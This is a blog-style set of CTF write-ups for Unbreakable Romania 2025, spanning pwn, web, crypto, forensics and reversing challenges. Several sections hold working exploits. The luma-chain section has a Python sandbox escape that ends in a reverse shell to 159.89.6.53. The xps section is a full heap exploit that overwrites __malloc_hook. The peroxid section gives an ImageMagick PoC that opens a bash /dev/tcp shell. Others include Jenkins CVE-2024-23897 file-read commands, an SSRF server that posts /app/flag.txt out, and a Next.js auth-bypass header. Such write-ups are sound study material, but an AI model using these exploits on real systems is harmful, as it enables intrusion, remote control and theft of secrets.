Unbreakable Romania 2025 Individual writeups
Scoreboard & Thoughts
This was a fairly good CTF, with most of the challenges not being too guessy, although there were a few exceptions. My favourite challenge was luma-chain
, for which I wrote a very detailed writeup.
Kudos to the top 7 players.
Luma-Chain: Pwn
The binary implemented a custom blockchain with the options to view balance
, add balance
, shit post
, and create contract
The create contract
function had a feature where it would run our contract code in a restricted environment
exec(
compiled,
{
"__builtins__": {
"__build_class__": __build_class__,
"__name__": __name__,
"id": id,
},
"input": input,
"result": result,
},
{"__builtins__": {}},
)
The blockchain also implemented audit hooks to block calls to everything except builtins.id
, cpython.PyInterpreterState_Clear
, and cpython._PySys_ClearAuditHooks
, the last 2 being unable to be called anyways from standard Python as they are internal Cython calls.
static int audit(const char *event, PyObject *args, void *userData) {
printf("arg1 = %s\n", event);
if (!strcmp(event, "builtins.id")) {
return 0;
}
if (!strcmp(event, "cpython.PyInterpreterState_Clear")) {
return 0;
}
if (!strcmp(event, "cpython._PySys_ClearAuditHooks")) {
return 0;
}
if (running) {
printf("Luma mogged u lol\n");
printf("Luma mogged u lol\n");
printf("Luma mogged u lol\n");
printf("Luma mogged u lol\n");
exit(1);
}
if (!running && !strcmp(event, "exec"))
running = 1;
return 0;
}
The blockchain interacted with an internal program using shared memory, to which we could write with the output of the contract
result = result[:56]
shmem.seek(0)
shmem.write(struct.pack("@I", type) + struct.pack("@I", len(result)) + result)
shmem.close()
We could easily spot a BOF in the internal program in the parser function, the code running memcpy without checking if message_length>56
void handle_message() {
char buf[56];
uint32_t message_type = ((volatile uint32_t *)shared_memory)[0];
uint32_t message_length = ((volatile uint32_t *)shared_memory)[1];
memcpy(buf, (void *)&shared_memory[8], message_length);
switch (message_type) {
case MESSAGE_TYPE_ADD: {
lumacash += *(uint64_t *)&buf[0];
} break;
case MESSAGE_TYPE_SHITPOST: {
memcpy(last_shitpost, buf, message_length);
system("curl -X POST -d \"ban_my_account=True\" "
"luciphp://cyber-edu.avadanei.co:69420");
} break;
case MESSAGE_TYPE_GET: {
memcpy((void *)shared_memory, &lumacash, sizeof(lumacash));
msync((void *)shared_memory, SHARED_MEMORY_SIZE, MS_SYNC);
} break;
}
}
However, there was no way to trivially abuse this, as the Python code blocked our overflow attempts using result = result[:56]
.
So what now?
Well, considering we can run Python, I enumerated what we had access to. As we didn’t have builtins, we needed a way to recover them.
We had access to __name__
, __build_class__
and id
, as __build_class__.__self__
doesn’t trigger any hooks we can use that to retrieve builtins and useful functions we are going to use later
gi = lambda o, k: __build_class__.__self__.dict.__getitem__(__build_class__.__self__.dict(__build_class__.__self__.vars(o)), k)
print = __build_class__.__self__.print
bytearray = __build_class__.__self__.bytearray
baset = __build_class__.__self__.bytearray.__setitem__
baget = __build_class__.__self__.bytearray.__getitem__
dict = __build_class__.__self__.dict
sa = dict.__setitem__
ga = __build_class__.__self__.getatt
My first thought was to try to overwrite the class of the result
array to overwrite the __getitem__
constructor to make it so that when result = result[:56]
is called, it just returns the whole array.
However, after a lot of testing, I determined this exploitation path was not feasible as there was no way to overwrite and save the bytearray
constructor without triggering hooks.
Considering I could call almost nothing due to the hooks, I rechecked what I had access to and saw that the id
function could return the memory location of anything we gave as the first argument.
This is an arbitrary read primitive, and if you thought this seemed useless without any writes, you would be right!
Having an arbitrary read, I tried various ways to trigger an arbitrary write. While this doesn’t even seem possible in a language as safe as Python, this assumption is actually very wrong.
Enter MEMORY CORRUPTION. We can actually trigger a UAF to gain an arbitrary write primitive. Here’s an example of how you can do that
class lol:
def __index__(self):
global xd, yes
del yes[:]
xd = __build_class__.__self__.bytearray()
yes.extend([0] * 56)
return 1
yes = __build_class__.__self__.bytearray(56)
baset(yes, 23, lol())
baset(xd, id(200) + 24, 255)
print(200)
Now armed with an arbitrary read and an arbitrary write, we just had to get code execution. After many failed attempts, I realised the audit hooks were stored somewhere in memory, and since the Python binary was compiled with no PIE in the container, we could figure out the address where they were loaded.
linuxvb@linuxvb-VirtualBox:~/ctfs/unr2025-solo/luma-chain$ checksec pythoncontainer
[*] '/home/linuxvb/ctfs/unr2025-solo/luma-chain/pythoncontainer'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
I got the offset from static analysis with IDA of the PySys_AddAuditHook
function, combined with dynamic analysis with gdb
, and used something like this to leak where the hooks were being loaded in memory. Keep in mind, we still need to avoid the hooks catching us.
subcls = __build_class__.__self__.dict(__build_class__.__self__.vars(__build_class__.__self__.type))['__subclasses__'](__build_class__.__self__.object)
print(subcls)
wc, = [cls for cls in subcls if 'wrap_close' in __build_class__.__self__.str(cls)]
__build_class__.__self__.print(wc)
glob = ga(gi(wc, "__init__"), "__globals__")
sys = __build_class__.__self__.dict.__getitem__(glob, "sys")
print(sys)
aud = ga(sys.audit, "__init__")
print(aud)
audit_loc = id(sys.audit)+16
print(__build_class__.__self__.hex(audit_loc))
audit_ptr = read_qword(xd, audit_loc)
print(__build_class__.__self__.hex(audit_ptr))
audit_hook_head = audit_ptr + 0xe8ce0 + (383 * 8)
Now that I knew where they were located, I just 0’d them out so they would affect the program anymore and just popped a reverse shell using system
baset(xd, __build_class__.__self__.slice(audit_hook_head, audit_hook_head + 8), __build_class__.__self__.bytes([0]*8))
system = __build_class__.__self__.dict.__getitem__(glob, "system")
system("""python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("159.89.6.53",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'""")
The flag was CTF{wow_you_ju5+_e5c@ped_+he_1um@_ch@in_on_5ki6idi_k09c82k90ck@0r}
Full exploit script below
from pwn import *
context.log_level = 'debug'
host, port = '127.0.0.1',8081
def newp():
return remote(host, port)
def send_contract(payload,inp):
payload = payload.hex().encode()
inp = inp.hex().encode()
p.sendline(b'/contract' + b' ' + payload + b' ' + inp)
p = newp()
payload = b'''
gi = lambda o, k: __build_class__.__self__.dict.__getitem__(__build_class__.__self__.dict(__build_class__.__self__.vars(o)), k)
print = __build_class__.__self__.print
bytearray = __build_class__.__self__.bytearray
baset = __build_class__.__self__.bytearray.__setitem__
baget = __build_class__.__self__.bytearray.__getitem__
dict = __build_class__.__self__.dict
sa = dict.__setitem__
ga = __build_class__.__self__.getattr
def read_qword(mem, addr):
global baget
b = []
for i in __build_class__.__self__.range(8):
b.append(baget(mem, addr + i))
return __build_class__.__self__.int.from_bytes(__build_class__.__self__.bytes(b), 'little')
class lol:
def __index__(self):
global xd, yes
del yes[:]
xd = __build_class__.__self__.bytearray()
yes.extend([0] * 56)
return 1
yes = __build_class__.__self__.bytearray(56)
baset(yes, 23, lol())
subcls = __build_class__.__self__.dict(__build_class__.__self__.vars(__build_class__.__self__.type))['__subclasses__'](__build_class__.__self__.object)
print(subcls)
wc, = [cls for cls in subcls if 'wrap_close' in __build_class__.__self__.str(cls)]
__build_class__.__self__.print(wc)
glob = ga(gi(wc, "__init__"), "__globals__")
sys = __build_class__.__self__.dict.__getitem__(glob, "sys")
print(sys)
aud = ga(sys.audit, "__init__")
print(aud)
audit_loc = id(sys.audit)+16
print(__build_class__.__self__.hex(audit_loc))
audit_ptr = read_qword(xd, audit_loc)
print(__build_class__.__self__.hex(audit_ptr))
audit_hook_head = audit_ptr + 0xe8ce0 + (383 * 8)
baset(xd, __build_class__.__self__.slice(audit_hook_head, audit_hook_head + 8), __build_class__.__self__.bytes([0]*8))
system = __build_class__.__self__.dict.__getitem__(glob, "system")
system("""python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("159.89.6.53",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'""")
'''
inp = b'0'
send_contract(payload, inp)
p.close()
xps: Pwn
We receive a classic heap menu challenge.
Option 1 allows us to malloc
up to 16 chunks at the same time, of a size of our choice. The first bug was in how it saved the data, as it didn’t account for when the length was maximum, so we had a null byte overflow.
buf = malloc(v2);
printf("Msg: ");
read(0, buf, v2);
*((_BYTE *)buf + v2) = 0;
Right after that was our second bug, as the chunks were immediately printed using %s
, so if any pointers were present in the first bytes, we could get a leak
int __fastcall cps_transform(__int64 a1)
{
unsigned int v1; // eax
char *format; // [rsp+20h] [rbp-10h]
v1 = time(0LL);
srand(v1);
format = (&xss_payloads)[rand() % 9LL]; // all of these printed using %s
printf("Transformed payload: ");
printf(format, a1);
return putchar(10);
}
We also had the option to free chunks, which 0’d out the pointer and also memset the first 16 bytes to 0, a pretty secure implementation
int __fastcall free_memory(unsigned __int8 a1)
{
int result; // eax
if ( !*(&saveAllocations + a1) || a1 > 16u )
return puts("Incorrect index.");
memset(*(&saveAllocations + a1), 0, 0x10uLL);
free(*(&saveAllocations + a1));
result = a1;
*(&saveAllocations + a1) = 0LL;
return result;
}
So we just have to implement a classic null byte overflow with no additional protections, as libc was 2.25. The only thing to keep in mind is that at lines 51,52 in the code, the order needs to be
delete(1)
delete(0)
If you invert the operations, the first free will zero out the size field of chunk 1, and this will crash.
Exploit script
from pwn import *
context.log_level = 'debug'
context.binary = binary = './xps'
given_libc = './libc.so.6'
libc = ELF(given_libc)
elf = ELF(binary)
host, port = '35.198.148.201',32465
def newp():
if args.REMOTE:
return remote(host, port)
return process(elf.path)
def create(index, size, data): #create chunk
p.sendlineafter(b'3. Exit\n> ', b'1')
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Msg: ', data)
def delete(index): #delete chunk
p.sendlineafter(b'3. Exit\n> ', b'2')
p.sendlineafter(b'Index: ', str(index).encode())
p = newp()
create(0, 0xf8, b'A'*0xf8)
create(1, 0x68, b'B'*0x68)
create(2, 0xf8, b'C'*0xf8)
create(3, 0x10, b'D'*0x10)
delete(0)
delete(1)
create(0, 0x68, b'B'*0x60 + p64(0x170))
delete(2)
create(1, 0xf6, b'E')
#p.interactive()
leak = p.recvline().split(b'alert("')[1].split(b'")>')[0]
leak = u64(leak.ljust(8, b'\x00'))
print(f'Leaked libc address: {hex(leak)}')
libc_base = leak - 0x397d45
print(f'Libc base: {hex(libc_base)}')
delete(1)
create(1, 0x100, b'B'*0xf8 + p64(0x70))
delete(1)
delete(0)
malloc_hook_offset = libc.sym['__malloc_hook'] - 0x23
print(malloc_hook_offset)
malloc_hook = libc_base + malloc_hook_offset
print(f'Malloc hook: {hex(malloc_hook)}')
create(0, 0x108, b'F'*0xf8 + p64(0x70) + p64(malloc_hook))
create(1, 0x68, b'B'*0x68)
gadget_offset = 0xd6fb1
gadget = libc_base + gadget_offset
create(2, 0x68, 0x13*b'G'+p64(gadget)+0x4d*b'\x00')
p.sendlineafter(b'3. Exit\n> ', b'1')
p.sendlineafter(b'Index: ', b'5')
p.sendlineafter(b'Size: ', b'0x20')
p.interactive()
Flag was UNBR{11f0693ffa307c21cafb41e7345668a6c6ed40d93d220d247275d793d8926374}
secretBook: Crypto
After installing the files, we are presented with some pictures, a binary, and an encrypted text.
Firstly, to reverse the binary extract the embedded pyc using pyinstxtractor-ng
and decompile it to obtain the source
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: open_book_app.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import sys
import os
wordlist_file = 'inspiration.txt'
input_file = 'my_secret_book_draft.secure'
output_file = 'my_secret_book_draft.txt'
def load_wordlist(wordlist_file):
"""Load words from the wordlist file into a list.""" # inserted
if not os.path.isfile(wordlist_file):
print('I must find my inspiration')
sys.exit(1)
try:
with open(wordlist_file, 'r', encoding='utf-8') as f:
words = [line.strip() for line in f if line.strip()]
return words
except FileNotFoundError:
print(f'Error: {wordlist_file} not found.')
sys.exit(1)
def xor_file_with_words(input_file, words, order):
"""XOR file content with words from the list in the specified order.""" # inserted
try:
with open(input_file, 'rb') as f:
data = f.read()
xored_data = data
for idx in order:
word = words[idx]
word_bytes = word.encode('utf-8')
word_bytes_repeated = word_bytes * (len(xored_data) // len(word_bytes) + 1)
xored_data = bytes((d ^ k for d, k in zip(xored_data, word_bytes_repeated[:len(xored_data)])))
return xored_data
except FileNotFoundError:
print(f'Error: {input_file} not found.')
sys.exit(1)
def save_output_to_file(output_data, output_file):
"""Save the XOR result to a text file.""" # inserted
try:
with open(output_file, 'wb') as f:
f.write(output_data)
print(f'Decrypted output saved to {output_file}')
except IOError as e:
print(f'Error saving to {output_file}: {e}')
sys.exit(1)
if __name__ == '__main__':
if not os.path.isfile(wordlist_file):
print('I must find my inspiration')
sys.exit(1)
order_input = input('Please provide a list: ')
try:
order = [int(i) for i in order_input.split(',')]
words = load_wordlist(wordlist_file)
if any((idx >= len(words) for idx in order)):
print('Error: Order indices exceed available words in wordlist.')
sys.exit(1)
decrypted_data = xor_file_with_words(input_file, words, order)
save_output_to_file(decrypted_data, output_file)
except ValueError:
print('Error: Invalid input. Please provide a comma-separated list of integers.')
sys.exit(1)
You can see it xors with words from inspiration.txt
at the given indices.
Checking the images, we see some have metadata. Combining the words from the comments, we get the following sentence.
The kite flew by the lighthouse as the dolphin swam near the waterfall, while the rainbow arched over the jungle with one parrot flying above.
And now all we need to do is xor with those words, right? NO
We actually had to take the index of each word + 1 and XOR it with that to get the flag, which seems pretty dumb if you ask me, but it is what it is.
The key indices were 102,11,179,235,102,12,112,102,4,233,238,102,23,149,102,18,237,121,102,10,105,31,16,54,131
, xor the file with these words to get the flag ctf{8d3acd89dd7a20a18f8a6821a5e4549bac67cfe91d2da09a9ffad957cfc4cee4}
.
secret_antidote: Forensics
Running strings -n 7
on the file shows some Morse, decoding it, we get:
THEKEYFORTHEANTIDOTEIS:
GOLF
OSCAR
OSCAR
DELTA
NOVEMBER
INDIA
GOLF
HOTEL
TANGO
GOLF
OSCAR
OSCAR
DELTA
LIMA
UNIFORM
CHARLIE
KILO
Decode the next part with nato phonetic cipher to get the flag: good-night-good-luck
-> ctf{9f19fa2836c4a78da54cd418feca82365801f86694fca777a3fd8f9c7dfb5d13}
ardu_composer: Reverse
We can get the first flag part using strings ctf{1878c966930833d2784db21eec0f1
We can get the source code using avr-objdump -d ardu_composer.ino.elf > out.asm
Looking through the source, we can see an array named _ZL15epd_bitmap_ctf2
. Parsing it to a bitmap reveals the second part of the flag 00e1c4ab07d41d3de32f5b2b16d2ea26dd5}
. Here is my script
import numpy as np
import matplotlib.pyplot as plt
def load_bitmap(filename):
with open(filename, "rb") as f:
return f.read()
def decode_epd_bitmap(data, width, height, invert=True):
expected_size = (width * height) // 8
img = np.zeros((height, width), dtype=np.uint8)
for row in range(height):
for col_byte in range(width // 8):
byte_index = row * (width // 8) + col_byte
if byte_index >= len(data):
break
byte_val = data[byte_index]
for bit in range(8):
pixel = (byte_val >> (7 - bit)) & 1
if invert:
pixel = 1 - pixel
x = col_byte * 8 + bit
img[row, x] = pixel
return img
def show_image(img):
plt.imshow(img, cmap="gray", interpolation="nearest")
plt.title("Decoded EPD Bitmap")
plt.axis("off")
plt.show()
width = 128
height = 64
filename = "epd_bitmap_ctf2.bin"
data = load_bitmap(filename)
img = decode_epd_bitmap(data, width, height,
invert=False)
show_image(img)
hunting-phantom-traffic: Forensics
We received a pcap; opening it in Wireshark, we see that it performs a GET on mimikatz.exe
in packet 17, which was the answer to Q1.
From that packet, you could also get the C2 IP 192.168.100.46
For Q3, just filter by tcp.dstport == 4444
and you’ll see payment.txt
in one of the packets.
For Q4, filter by ftp
and the other login is ftpuser:ftpuser
And lastly, for Q5, use export http objects to get the image and run sha256sum
on it c6627f8c7d95d75cc8d2140c63e25d35a28c3df1fdc4c2969694174a771118f2
php-troll: Web
The source is minimal, the website opens a file of our choosing and places the contents in /tmp/dump.txt
<?php
if (!isset($_GET['x'])) {
highlight_file(__FILE__);
die();
}
// Easy, right? The flag is in flag.php
copy($_GET['x'], "/tmp/dump.txt");
This is a classic PHP filter chain oracle exploit, better detailed here.
Just copy the exploit from here and run it to get the flag
python3 filters_chain_oracle_exploit.py --target http://34.89.160.63:30936/ --file 'flag.php' --parameter x --verb GET
Do note we had to brute the last two chars as there is a 135 (I think) character limit on the exploit, and there was some junk before it in the flag.php
file.
The flag is CTF{5091db8f148b071726c5dce67f0896cbb1f7ed1d13c1eb05cad74e3096cd8242}
strange-encoding: Crypto
We received an msg.enc
, counting the parentheses, I saw the (
and )
counts were the same, so I thought about Python.
Doing reverse
and rot14
in CyberChef reveals an exec
code
exec('x=%x'%('e'==''))==exec('e=%x'%(''==''))==exec('c=%x%%x'%e%e)==exec('c=%x%%x%%%%x%%%%%%%%x'%x%c%e%e)==exec('ee=%x%%x%%%%x'%e%x%c)==exec('ee=%x'%ee)==exec('ee=%x'%ee)==exec('xe=ee%ce%%ce'%ee%ee)==exec('xx=ee%cc'%xe)==exec('xc=xx%ce'%ee)==exec('ce=xc%cc'%ee)==exec('cx=ce%cxx'%ee)==exec('cc=cx%cxc'%ee)==exec('eee=cc%cxx'%ee)==exec('eex=eee%cxe'%xe)==exec('eec=eex%cc'%ee)==exec('exe=eec%ccx'%xe)==exec('exx=xe%cexe'%xe)==exec('exc=eex%cexx'%xe)==exec('ece=eee%cexc'%xe)==exec('ecx=ece%cc'%ee)==exec('ecc=ecx%cece'%ee)==exec('xee=ecc%cexx'%xe)==exec('xex=xee%cce'%xe)==exec('xec=xex%cxex'%ee)==exec('xxe=xec%cexx'%ee)==exec('xxx=eee%cxxe'%xe)==exec('xxc=xxx%ce'%xe)==exec('xce=ecc%cxxc'%xe)==exec('xcx=xce%cxex'%ee)==exec('xcc=xcx%cxe'%xe)==exec('cee=eee%cxcc'%xe)==exec('cex=cee%cc'%ee)==exec('cec=cex%cxxx'%xe)==exec('cxe=cec%cxxc'%ee)==exec('cxx=cxe%cexe'%xe)==exec('cxc=cxx%cxc'%ee)==exec('cce=cxc%ccec'%xe)==exec('ccx=eex%ccce'%xe)==exec('ccc=cxc%cccx'%xe)==exec('eeee=ccc%ce'%ee)==exec('eeex=eeee%cccx'%ee)==exec('eeec=eeex%cexx'%xe)==exec('eexe=eeec%cecx'%ee)==exec('eexx=eexe%cee'%xe)==exec('''ex=('%c%%c%%%%c%%%%%%%%c')''')==exec('''ec=('')''')==exec('ec%c=ex%%cxc%%eexx%%eeec%%eeex'%ee)==exec('ec%c=ex%%ccc%%cxx%%ccc%%exe'%ee)==exec('ec%c=ex%%xcc%%cx%%ccx%%eec'%ee)==exec('ec%c=ex%%cxe%%cce%%cxc%%cec'%ee)==exec('ec%c=ex%%cec%%cee%%cxc%%cee'%ee)==exec('ec%c=ex%%xce%%xxx%%cxe%%xce'%ee)==exec('ec%c=ex%%ece%%cce%%cxc%%cec'%ee)==exec('ec%c=ex%%eeec%%cex%%cex%%xxc'%ee)==exec('ec%c=ex%%cce%%cxe%%cxc%%cce'%ee)==exec('ec%c=ex%%cce%%cxe%%cee%%xxx'%ee)==exec('ec%c=ex%%ece%%xce%%ecx%%xex'%ee)==exec('ec%c=ex%%cxe%%xex%%xee%%xxc'%ee)==exec('ec%c=ex%%cxe%%xex%%ecx%%cxc'%ee)==exec('ec%c=ex%%xce%%cxc%%ecx%%xxx'%ee)==exec('ec%c=ex%%cex%%cxc%%cce%%xex'%ee)==exec('ec%c=ex%%cex%%cxe%%cxc%%cex'%ee)==exec('ec%c=ex%%cec%%xex%%xex%%cxe'%ee)==exec('ec%c=ex%%cec%%cec%%cce%%cce'%ee)==exec('ec%c=ex%%cxc%%xxc%%xce%%cex'%ee)==exec('ec%c=ex%%cc%%exe%%ce%%cex'%ee)==exec('ec%c=ex%%eex%%ecc%%xxe%%xx'%ee)==exec('ec%c=ex%%xxc%%xc%%ce%%xcx'%ee)==exec('ec%c=ex%%exc%%ecc%%xec%%xxe'%ee)==exec('ec%c=ex%%xx%%cxc%%eexx%%eeec'%ee)==exec('''ec%c='%%c'%%eeex'''%ee)==exec('''ec%c='%%c'%%xc'''%ee)==exec(ec)
Changing the last exec to a print shows the flag
flag = 'CTF{d2f44bfb91d932f4aee02df22db13967d7c0d76f9f61ef27edfe477d4422f09e}',exit(0),print(flag)
peroxid: Web
We have a file upload vulnerability with almost random names generated by
$fileName = uniqid('img_', true) . '.' . $extension;
In addition, the file was processed by imagemagick
The first vulnerability seemed to be a rabbit hole, as I didn’t find a good way to brute-force the PHP internal_lcg
seed.
Searching for exploits related to imagemagick led me to find this article from HackerOne
Testing their POC, we are able to pop a shell.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/159.89.6.53/1337 0>&1')
currentdevice putdeviceprops
jankin-jenkins: Web
Running whatweb
on the website, we can see the Jenkins version is 2.441
.
The version is vulnerable to CVE-2024-23897
. I used the hackthebox article to exploit. Downloaded the cli from the path /jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s http://34.141.126.212:31009/ connect-node "@/proc/self/environ" | grep -i flag
java -jar jenkins-cli.jar -s http://34.141.126.212:31009/ connect-node "@/var/jenkins_home/secrets/initialAdminPassword"
java -jar jenkins-cli.jar -s http://34.159.49.236:32521/ connect-node "@/etc/passwd"
java -jar jenkins-cli.jar -s http://34.159.137.2:31767/ connect-node "@/home/flag.txt"
my-specialty: Rev, Crypto
The binary implemented an RSA encryption of the flag, e was 0x10001
, so that was secure, the problem lay in how it generated the primes.
It used an algorithm that basically did this to generate a 2048-bit N.
(r1*r1 + a1) * (r2*r2 + a2)
a1 = 0x539
a2 = 0xCF5
r1 = random
r2 = random
Searching for attacks on this, I found this paper that referenced this paper, which contained the attack we need.
Now, just implement the attack to crack
import math
from sympy import sqrt, integer_nthroot
from Crypto.Util.number import inverse, long_to_bytes
# Given parameters
N = 111707958900765710398221410031164620328420649311968772915979611007865517805846601909323756372539783599211790618155940725387991948861933253593885323199638442580734030737504817890495819757759073024096325203094515946176865037945973409055458780633999967879384662326237303943257654276308848562603079732486635017859839262122813174512291302058416496516406107299062301941633718489405731162561636948933763021960880840333940891398726183134815048236834549300408643029893648730255881015371132638882523979515174080051191974236537301973710910843626918156897539941964896612748181920423528739071835747641814492863951241825082781153
rp = 1337 # 1337 decimal
rq = 3317 # 3317 decimal
m = 2
e = 65537
c = 95359928587764831480911453909207891080325418583420988468597736573261507006173170207060195551022261350232673714121894143070297449503797250510491056609913217292486277150236907018272378301183372848642458193059771358743664373297171128180992999582614219732033289380947350648148990613316165351439300568864887775837728390020938390340957429399228128031681736974383272172501839065156927134436381870106357722355963105434667672618355971178611001662410691625562777671918959424161218537115943248493048668591967661754432967818124467712172625060771944442677444770466047177648215160677042557263736253458151837698445366178657841046
i = int(integer_nthroot(rp*rq,2)[0])
print(i)
i = 1
while i < rq//2 + rp + 1 + 10**6:
omega = (int(integer_nthroot(N,2)[0]) - i) ** 2
z = (N - rp * rq) % omega
i+=1
disc = z*z - 4*omega*rp*rq
if disc < 0:
continue
sqrt_disc = int(integer_nthroot(disc,2)[0])
num1 = z + sqrt_disc
X1 = num1 // 2
num2 = z - sqrt_disc
X2 = num2 // 2
p = (N // (X1 // rq + rp))
q = (N // (X2 // rq + rp))
if N%p == 0:
print('Found p')
print(p)
q = N // p
break
if N%q == 0:
print('Found q')
print(q)
p = N // q
break
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, N)
print(m)
m = long_to_bytes(m)
print(m)
The flag was CTF{53e134efb6cf5bdd0f8e035577abb9ffc27130f573689c57ef24dbf5c92ef4b1}
ai-sincs: Forensics
For Q1, just try ChatGPT
as it’s a well-known AI.
For Q2, just do grep -ira \@gmail.com
and try all the emails.
For Q4, just do grep -ra sid=29
And for the flag, we needed to use volatility to analyse the dump. Knowing the user talked to ChatGPT, I dumped the ChatGPT conversation, and the flag was there in base32
python3 ~/volatility3/vol.py --file Challenge.elf windows.info
python3 ~/volatility3/vol.py --file Challenge.elf windows.cmdline.CmdLine
python3 ~/volatility3/vol.py --file Challenge.elf windows.filescan.FileScan
python3 ~/volatility3/vol.py -f Challenge.elf windows.dumpfiles.DumpFiles --virtaddr 0x800751c92710
The flag was CTF{7f207508e2f0dcf5b5431447b9d661cb0edc96b5527ae76c38e2a0663d1a9bda}
dev-release: Mobile
Reversing the app, we can see it interacts with an api that has the following options.
/api/balance
/api/health
/api/items
/api/purchase
/api/reset-balance
Looking at where they are used in the source, we can see the purchase has a costless option
private static String f139String$0$str$funtoString$classPurchaseRequest = "PurchaseRequest(";
private static String f145String$1$str$funtoString$classPurchaseRequest = "itemId=";
private static String f151String$3$str$funtoString$classPurchaseRequest = ", ";
private static String f155String$4$str$funtoString$classPurchaseRequest = "costless=";
private static String f158String$6$str$funtoString$classPurchaseRequest = ")";
Send a request with it to get the flag.
fast-hook: Misc
We have an app that sends an OPTIONS
request to a URL. The restriction is that it should start with https://cyber-edu.co
Try to SSRF with https://cyber-edu.co@test
, we get
You hacker! Invalid URL! Cannot contain 'co@
This can be easily bypassed by placing some characters after co.
https://cyber-edu.colol@wysynbqw.requestrepo.com
Checking the requestrepo, we see the flag.
Screenshooter: Web
The app was vulnerable to some kind of CSRF via the /dashboard
api
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
if 'user' not in session:
return redirect(url_for('login'))
text = request.values.get('text')
if text:
# Call the screenshot service
url = urljoin(f'http://localhost:{APP_PORT}/', f'/text/{text}')
result = requests.get(
SCREENSHOT_SERVICE,
params={'url': url} # CSRF kinda
).json()
if 'error' in result:
return 'Error getting screenshot'
return render_template('preview.html', screenshot=result['result'])
return render_template('dashboard.html')
We could extend our reach using the open-redirect in /login
in the next
parameter
@app.route('/login', methods=['GET', 'POST'])
def login():
email = request.values.get('email')
password = request.values.get('password')
next_url = request.values.get('next', '/dashboard')
if not email or not password:
return render_template('login.html')
if email in users and users[email] == password:
session['user'] = email
return redirect(next_url) # open redirect
return render_template('login.html')
Now, just deploy a server to redirect to localhost:5000
with parameters that post the flag file to our VPS.
This was exp.py
import os
import random
import requests
from flask import Flask, render_template, request, redirect, url_for, session
from urllib.parse import urljoin
APP_PORT = os.getenv('APP_PORT', 1234)
SERVICE_PORT = os.getenv('SERVICE_PORT', 5000)
FONTS = ['Press Start 2P', 'Bangers', 'Rubik Glitch', 'Fredericka the Great', 'Nosifer', 'Monoton']
SCREENSHOT_SERVICE = f'http://127.0.0.1:{SERVICE_PORT}/screenshot'
users = {}
text = '../login?a=a&a=a'
url = urljoin(f'http://localhost:{APP_PORT}/', f'/text/{text}')
print(url)
r = requests.session()
url = 'http://127.0.0.1:1234'
url = 'http://34.159.27.166:32152'
resp = r.post(url + '/register',data={'email':'a','password':'a'})
#print(resp.text)
resp = r.post(url + '/login',data={'email':'a','password':'a'})
#print(resp.text)
resp = r.post(url + '/dashboard',data={'text':'../login?email=a&password=a&next=//159.89.6.53:8000'})
print(resp.text)
And this was server.py
from flask import Flask, redirect, request
from flask import Flask, request, redirect
from urllib.parse import urlparse, urlunparse, urlencode, parse_qs
app = Flask(__name__)
# @app.route('/')
# def redirect_to_target():
# #return redirect('http://localhost:5000/screenshot?url=159.89.6.53:1338%26verbose%3d--post-data="$(echo RCE)"', code=302)
# return redirect('http://localhost:5000/screenshot?verbose=--post-data="$(echo RCE)"', code=302)
@app.route('/')
def redirect_with_params():
dest = 'http://localhost:5000/screenshot'
parsed_url = urlparse(dest)
query_params = parse_qs(parsed_url.query)
query_params['verbose'] = '--post-data="$(echo RCE)"'
query_params['verbose'] = '--post-file=/app/flag.txt'
query_params['url'] = '159.89.6.53:1338'
new_query = urlencode(query_params, doseq=True)
new_url = urlunparse((
parsed_url.scheme,
parsed_url.netloc,
parsed_url.path,
parsed_url.params,
new_query,
parsed_url.fragment
))
return redirect(new_url)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
On port 1338, I just ran a listener and waited for the file upload.
Aligator: Web
The website used "next": "14.2.24"
, so it was vulnerable to CVE-2025-29927
Placing x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
in the request bypassed authorization
Get the first flag from /api/flag
For the second part, we first had to upload a file to overwrite .gitignore
with something that contained crocoLUMA
, do that with /api/admin/upload
Now just get /admin/flag
to get the second part.
simple-go: Rev
Open the file in IDA 8.3 to see that it has a main.getFlag
function.
Since 8.3 didn’t want to decompile, I got its offset 0x10009a2b0
and opened it with IDA 7.7; the challenge was just doing a simple xor.
Made this quick script to decrypt
import struct
from pwn import *
key = p16(14099) + p32(-272716322&0xffffffff)
data = b''
data += p8(80)
data += p32(-1999202205&0xffffffff)
data += p64(0x22D78ECCE9562BDF)
data += p64(0xBF5627DC8DCCE803)
data += p64(0x8B9ABD0377D88DC9)
data += p64(0x27DA86CFEF0771DE)
data += p64(0xE65221DBDB9CBB52)
data += p64(0x8E9DBF0477DB8B9F)
data += p64(0x228B879EE8542BDB)
data += p64(0xA30E2B8A87CBBA53)
print(xor(data,key))
treasure-hunt: Stego
Looking at the image with stegsolve, we can see a sus line in Red Plane 3.
Extracting the Red LSB 3 from the image, we can see this in the strings.
{"bottle":"Now, tell me, ye scallywag, what fruit did that tree bear?", "treasure": "UEsDBDMAAQBjAAO9WFoAAAAAWgAAAEUAAAAIAAsAZmxhZy50eHQBmQcAAgBBRQMIAFhOyFF8J1TyG2doQcYvrgzortHSCGMNxMshPDobNzagEPb3jVJi8820aRecsizN1F01EToNfBXNYLUo7v4irZDLka8iLR9HfkY0xgT+GE/9MxamvgIZHDogalBLAQI/ADMAAQBjAAO9WFoAAAAAWgAAAEUAAAAIAC8AAAAAAAAAIAAAAAAAAABmbGFnLnR4dAoAIAAAAAAAAQAYAEVPEqsEh9sBAAAAAAAAAAAAAAAAAAAAAAGZBwACAEFFAwgAUEsFBgAAAAABAAEAZQAAAIsAAAAAAA=="}
Base64 decrypt to see it’s a zip, then crack the passwords with John.
~/john/run/zip2john xd.zip > hash.txt
john hash.txt
The password was banana
